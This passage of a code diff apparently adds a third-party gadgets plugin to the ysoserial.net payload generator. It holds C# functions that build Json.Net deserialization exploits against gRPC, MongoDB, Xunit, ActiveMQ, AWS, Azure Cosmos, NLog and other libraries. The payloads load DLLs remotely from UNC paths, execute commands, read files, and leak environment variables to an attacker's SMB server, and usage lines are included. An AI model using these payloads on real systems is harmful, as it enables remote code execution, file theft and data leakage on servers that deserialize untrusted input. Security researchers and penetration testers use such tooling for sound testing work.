(LinuxLibrary) and Mac (DarwinLibrary) + Input: path to the DLL (UNC path for remote loading or local path) + Formatters: Json.Net + Tested Version: 1.8.0 + [Finders: Piotr Bazydlo] + + (*) Xunit1Executor (Xunit Runner Utility) - RCE with remote DLL loading (C# or mixed DLL can be loaded) + Affects: .NET Framework + Input: path to the xunit.dll (like \\192.168.1.100\poc\xunit.dll), which implements Xunit.Sdk.Executor class with the Executor(String) constructor. This constructor will be called upon DLL load. Mixed DLLs should work too. + Formatters: Json.Net + Tested Version: 2.5.1 + [Finders: Piotr Bazydlo] + + (*) GetterActiveMQObjectMessage (Apache NMS ActiveMQ) - RCE by chaining Arbitrary Getter Call gadget and ActiveMQObjectMessage serialization gadget + Affects: .NET Framework + Input: command to execute + Formatters: Json.Net + Tested Version: 2.1.0 + [Finders: Piotr Bazydlo] + + (*) PreserverWorkingFolder (Xunit + Xunit Runner Utility) - sets current directory through Directory.SetCurrentDirectory. Can be used to mess with file operations based on relative paths + Affects: .NET Framework + Input: path to the directory that we want to set, can be either remote (UNC) or local path + Formatters: Json.Net + Tested Version: 2.5.1 + [Finders: Piotr Bazydlo] + + (*) OptimisticLockedTextFile (Amazon AWSSDK.Core) - file read during deserialization. File content is returned if the object is serialized again and returned to the attacker. + Affects: .NET Framework + Input: path to the file + Formatters: Json.Net + Tested Version: 3.7.202.19 + [Finders: Piotr Bazydlo] + + (*) QueryPartitionProvider (Microsoft Azure Cosmos) - triggers Json.NET serialization on the attacker-provided object. Can be chained with serialization gadgets. + Affects: .NET Framework + Input: path to the file that stores the serialization gadget. This serialized payload will be deserialized by a given serializer and then serialized with Json.NET. + Formatters: Json.Net + Tested Version: 3.35.4 + [Finders: Piotr Bazydlo] + + (*) FileDiagnosticsTelemetryModule (Microsoft Application Insights) - leaks environment variable through SMB connection or creates new directory (potential DoS) + Affects: .NET Framework + Input: Env variable leak: UNC path to attacker's server, with the environment variable specified, like: \\192.168.1.100\%USERNAME%; Directory Creation: path + Formatters: Json.Net + Tested Version: 2.21.0 + [Finders: Piotr Bazydlo] + + (*) SingleProcessFileAppender (NLog) - Directory/empty file creation gadget. Can potentially lead to DoS. There are 2 variants: CountingSingleProcessFileAppender and MutexMultiProcessFileAppender + Affects: .NET Framework + Input: Path to the directory/file + Formatters: Json.Net + Tested Version: 5.2.4 + [Finders: Piotr Bazydlo] + + (*) FileDataStore (Google Apis) - Directory creation gadget. Can potentially lead to DoS + Affects: .NET Framework + Input: Path to the directory/file + Formatters: Json.Net + Tested Version: 1.62.1 + [Finders: Piotr Bazydlo] + +Exemplary usage: + + ysoserial.exe -p ThirdPartyGadgets -l + + ysoserial.exe -p ThirdPartyGadgets -f Json.Net -g UnmanagedLibrary -i \\\\192.168.1.100\\poc\\cppDll.dll -r + + ysoserial.exe -p ThirdPartyGadgets -f Json.Net -g GetterActiveMQObjectMessage -i ""cmd.exe /c calc.exe"" + + ysoserial.exe -p ThirdPartyGadgets -f Json.Net -g QueryPartitionProvider -i ""C:\Users\Public\inner.json"" + + ysoserial.exe -p ThirdPartyGadgets -f Json.Net -g FileDiagnosticsTelemetryModule -i ""\\\\192.168.1.100\\%USERNAME%"" + +"; + } + + //UnmanagedLibrary gadget + public string UnmanagedLibrary(string input, string formatter) + { + + String gadget = ""; + + if (formatter.ToLower() == "json.net") + { + gadget = @" +{ + '$type':'Grpc.Core.Internal.UnmanagedLibrary, Grpc.Core, Version=2.0.0.0, Culture=neutral, PublicKeyToken=d754f35622e28bad', + 'libraryPathAlternatives': + [ + '" + input + @"' + ] +}"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the PictureBox gadget"); + Environment.Exit(-1); + } + + return gadget; + } + + //WindowsLibrary gadget + public string WindowsLibrary(string input, string formatter) + { + + String gadget = ""; + + if (formatter.ToLower() == "json.net") + { + gadget = @" +{ + '$type':'MongoDB.Libmongocrypt.LibraryLoader+WindowsLibrary, MongoDB.Libmongocrypt, Version=1.8.0.0, Culture=neutral, PublicKeyToken=null', + 'path':'" + input + @"' +}"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the PictureBox gadget"); + Environment.Exit(-1); + } + + return gadget; + } + + //Xunit1Executor gadget + public string Xunit1Executor(string input, string formatter) + { + + String gadget = ""; + + if (formatter.ToLower() == "json.net") + { + gadget = @" +{ + '$type':'Xunit.Xunit1Executor, xunit.runner.utility.net452, Version=2.5.1.0, Culture=neutral, PublicKeyToken=8d05b1bb7a6fdb6c', + 'useAppDomain':true, + 'testAssemblyFileName':'" + input + @"' +} +"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the PictureBox gadget"); + Environment.Exit(-1); + } + + return gadget; + } + + //GetterActiveMQObjectMessage gadget + public string GetterActiveMQObjectMessage(string input, string formatter) + { + + String gadget = ""; + + + InputArgs inputArgs = new InputArgs(); + inputArgs.Cmd = input; + + IGenerator generator = new TypeConfuseDelegateGenerator(); + byte[] binaryFormatterPayload = (byte[])generator.GenerateWithNoTest("BinaryFormatter", inputArgs); + + + string b64encoded = Convert.ToBase64String(binaryFormatterPayload); + + if (formatter.ToLower() == "json.net") + { + + + String payloadActive = @" + { + '$type':'Apache.NMS.ActiveMQ.Commands.ActiveMQObjectMessage, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618', + 'Content':'" + b64encoded + @"', + 'Connection': + { + 'connectionUri':'http://localhost', + 'transport': + { + '$type':'Apache.NMS.ActiveMQ.Transport.Failover.FailoverTransport, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618' + }, + 'clientIdGenerator': + { + '$type':'Apache.NMS.ActiveMQ.Util.IdGenerator, Apache.NMS.ActiveMQ, Version=2.1.0.0, Culture=neutral, PublicKeyToken=82756feee3957618' + } + } + }"; + + gadget = @" + { + ""$type"":""System.Windows.Forms.PropertyGrid, System.Windows.Forms, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"", + ""SelectedObjects"": + [ + " + payloadActive + @" + ] + }"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the PictureBox gadget"); + Environment.Exit(-1); + } + + return gadget; + } + + //PreserveWorkingFolder gadget + public string PreserveWorkingFolder(string input, string formatter) + { + + String gadget = ""; + + //we need to add any filename + if (input[input.Length - 1].Equals('\\') || input[input.Length - 1].Equals('/')) + { + input += "test.txt"; + } + else + { + input += "\\\\test.txt"; + } + + if (formatter.ToLower() == "json.net") + { + gadget = @" +{ + '$type':'Xunit.Sdk.TestFrameworkDiscoverer+PreserveWorkingFolder, xunit.execution.desktop, Version=2.5.1.0, Culture=neutral, PublicKeyToken=8d05b1bb7a6fdb6c', + 'assemblyInfo': + { + '$type':'Xunit.Xunit1AssemblyInfo, xunit.runner.utility.net452, Version=2.5.1.0, Culture=neutral, PublicKeyToken=8d05b1bb7a6fdb6c', + 'assemblyFileName':'" + input + @"' + } +}"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the PictureBox gadget"); + Environment.Exit(-1); + } + + return gadget; + } + + //OptimisticLockedTextFile gadget + public string OptimisticLockedTextFile(string input, string formatter) + { + + String gadget = ""; + + if (formatter.ToLower() == "json.net") + { + gadget = @" +{ + '$type':'Amazon.Runtime.Internal.Util.OptimisticLockedTextFile, AWSSDK.Core, Version=3.3.0.0, Culture=neutral, PublicKeyToken=885c28607f98e604', + 'filePath':'" + input + @"' +}"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the PictureBox gadget"); + Environment.Exit(-1); + } + + return gadget; + } + + //QueryPartitionProvider gadget + public string QueryPartitionProvider(string input, string formatter) + { + + if (!File.Exists(input)) + { + Console.WriteLine("Provided file " + input + " does not exist"); + Environment.Exit(-1); + } + + String gadget = ""; + + + if (formatter.ToLower() == "json.net") + { + gadget = @" +{ + '$type':'Microsoft.Azure.Cosmos.Query.Core.QueryPlan.QueryPartitionProvider, Microsoft.Azure.Cosmos.Client, Version=3.35.4.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', + 'queryengineConfiguration': + { + 'poc': +" + File.ReadAllText(input) + @" + } +} +"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the PictureBox gadget"); + Environment.Exit(-1); + } + + return gadget; + } + + //FileDiagnosticsTelemetryModule gadget + public string FileDiagnosticsTelemetryModule(string input, string formatter) + { + + String gadget = ""; + + if (formatter.ToLower() == "json.net") + { + gadget = @" +{ + '$type':'Microsoft.ApplicationInsights.Extensibility.Implementation.Tracing.FileDiagnosticsTelemetryModule, Microsoft.ApplicationInsights, Version=2.21.0.429, Culture=neutral, PublicKeyToken=31bf3856ad364e35', + 'LogFilePath':'" + input + @"', + 'LogFileName':'C:\\\\whatever' +} +"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the PictureBox gadget"); + Environment.Exit(-1); + } + + return gadget; + } + + //SingleProcessFileAppender gadget + public string SingleProcessFileAppender(string input, string formatter) + { + + String gadget = ""; + + if (formatter.ToLower() == "json.net") + { + gadget = @" +{ + '$type':'NLog.Internal.FileAppenders.SingleProcessFileAppender, NLog, Version=5.0.0.0, Culture=neutral, PublicKeyToken=5120e14c03d0593c', + 'fileName':'" + input + @"', + 'parameters': + { + '$type':'NLog.Targets.FileTarget, NLog, Version=5.0.0.0, Culture=neutral, PublicKeyToken=5120e14c03d0593c' + } +} +"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the PictureBox gadget"); + Environment.Exit(-1); + } + + return gadget; + } + + //FileDataStore gadget + public string FileDataStore(string input, string formatter) + { + + String gadget = ""; + + if (formatter.ToLower() == "json.net") + { + gadget = @" +{ + '$type':'Google.Apis.Util.Store.FileDataStore, Google.Apis, Version=1.62.1.0, Culture=neutral, PublicKeyToken=4b01fa6e34db77ab', + 'folder':'" + input + @"', + 'fullPath':'true' +} +"; + } + else + { + Console.WriteLine("Formatter " + formatter + " is not implemented for the PictureBox gadget"); + Environment.Exit(-1); + } + + return gadget; + } + + public string RemoveVersion(string payload) + { + //something more accurate should be developed in the future, it's a quick regex-based thing that works for current gadgets + + payload = Regex.Replace(payload, "Version=[0-9][0-9.]*,?\\s?",""); + payload = Regex.Replace(payload, "Culture=neutral,?\\s?", ""); + payload = Regex.Replace(payload, "PublicKeyToken=[a-fA-F0-9]{16},?\\s?", ""); + payload = Regex.Replace(payload, ",\\s'", "'"); + return payload; + } + + public object Run(string[] args) + { + + List extra = options.Parse(args); + + //Print list of gadgets + if (showList) + { + return GadgetsList(); + } + + //inputs verification + try + { + if (string.IsNullOrWhiteSpace(gadget)) throw new ArgumentException("A gadget name must be provided."); + + if (string.IsNullOrWhiteSpace(formatter)) throw new ArgumentException("A formatter name must be provided."); + + if (string.IsNullOrWhiteSpace(input)) throw new ArgumentException("An input to the gadget must be provided."); + } + catch (Exception e) + { + Console.Write("ysoserial: "); + Console.WriteLine(e.Message); + Console.WriteLine("Try 'ysoserial -p " + Name() + " --help' for more information."); + Console.WriteLine("Try 'ysoserial -p " + Name() + " -l' for the list of implemented gadgets and formatters."); + Environment.Exit(-1); + } + + + //gadgets generation + String payload = ""; + + if (gadget.ToLower() == "unmanagedlibrary") + { + payload = UnmanagedLibrary(input, formatter); + } + else if (gadget.ToLower() == "windowslibrary") + { + payload = WindowsLibrary(input, formatter); + } + else if (gadget.ToLower() == "xunit1executor") + { + payload = Xunit1Executor(input, formatter); + } + else if (gadget.ToLower() == "getteractivemqobjectmessage") + { + payload = GetterActiveMQObjectMessage(input, formatter); + } + else if (gadget.ToLower() == "preserveworkingfolder") + { + payload = PreserveWorkingFolder(input, formatter); + } + else if (gadget.ToLower() == "optimisticlockedtextfile") + { + payload = OptimisticLockedTextFile(input, formatter); + } + else if (gadget.ToLower() == "querypartitionprovider") + { + payload = QueryPartitionProvider(input, formatter); + } + else if (gadget.ToLower() == "filediagnosticstelemetrymodule") + { + payload = FileDiagnosticsTelemetryModule(input, formatter); + } + else if (gadget.ToLower() == "singleprocessfileappender") + { + payload = SingleProcessFileAppender(input, formatter); + } + else if (gadget.ToLower() == "filedatastore") + { + payload = FileDataStore(input, formatter); + } + else + { + Console.WriteLine("Gadget " + gadget + " does not exist! Use -l option to show available gadgets"); + Environment.Exit(-1); + } + + //remove version/public key token + if (removeVersion) + { + payload = RemoveVersion(payload); + } + + //minify + if (minify) + { + if (formatter.ToLower() == "json.net" || formatter.ToLower() == "javascriptserializer") + { + payload = JsonHelper.Minify(payload, null, null); + } + } + + //tests + if (test) + { + if (formatter.ToLower() == "json.net") + { + try + { + Object obj = SerializersHelper.JsonNet_deserialize(payload); + if (gadget.ToLower() == "optimisticlockedtextfile") + { + Console.WriteLine("Testing OptimisticLockedTextFile gadget through deserialization + serialization. Obtained response:"); + Console.WriteLine(SerializersHelper.JsonNet_serialize(obj)); + } + } + catch (Exception err) + { + Debugging.ShowErrors(new InputArgs(), err); + } + } + else if (formatter.ToLower() == "javascriptserializer") + { + try + { + SerializersHelper.JavaScriptSerializer_deserialize(payload); + } + catch (Exception err) + { + Debugging.ShowErrors(new InputArgs(), err); + } + } + else if (formatter.ToLower() == "xaml") + { + try + { + SerializersHelper.Xaml_deserialize(payload); + } + catch (Exception err) + { + Debugging.ShowErrors(new InputArgs(), err); + } + } + } + + return payload; + } + } +} \ No newline at end of file diff --git a/ysoserial/ysoserial.csproj b/ysoserial/ysoserial.csproj index fc3fc28..5dcd2a8 100755 --- a/ysoserial/ysoserial.csproj +++ b/ysoserial/ysoserial.csproj @@ -28,6 +28,8 @@ 1.0.0.%2a false true + + AnyCPU @@ -131,7 +133,6 @@ ..\packages\Newtonsoft.Json.12.0.3\lib\net45\Newtonsoft.Json.dll - True ..\packages\SharpSerializer.3.0.1\lib\net452\Polenter.SharpSerializer.dll @@ -186,6 +187,9 @@ + + + @@ -193,6 +197,8 @@ + + @@ -202,7 +208,9 @@ + + @@ -244,6 +252,9 @@ + + + @@ -262,7 +273,6 @@ - False @@ -292,4 +302,4 @@ --> - + \ No newline at end of file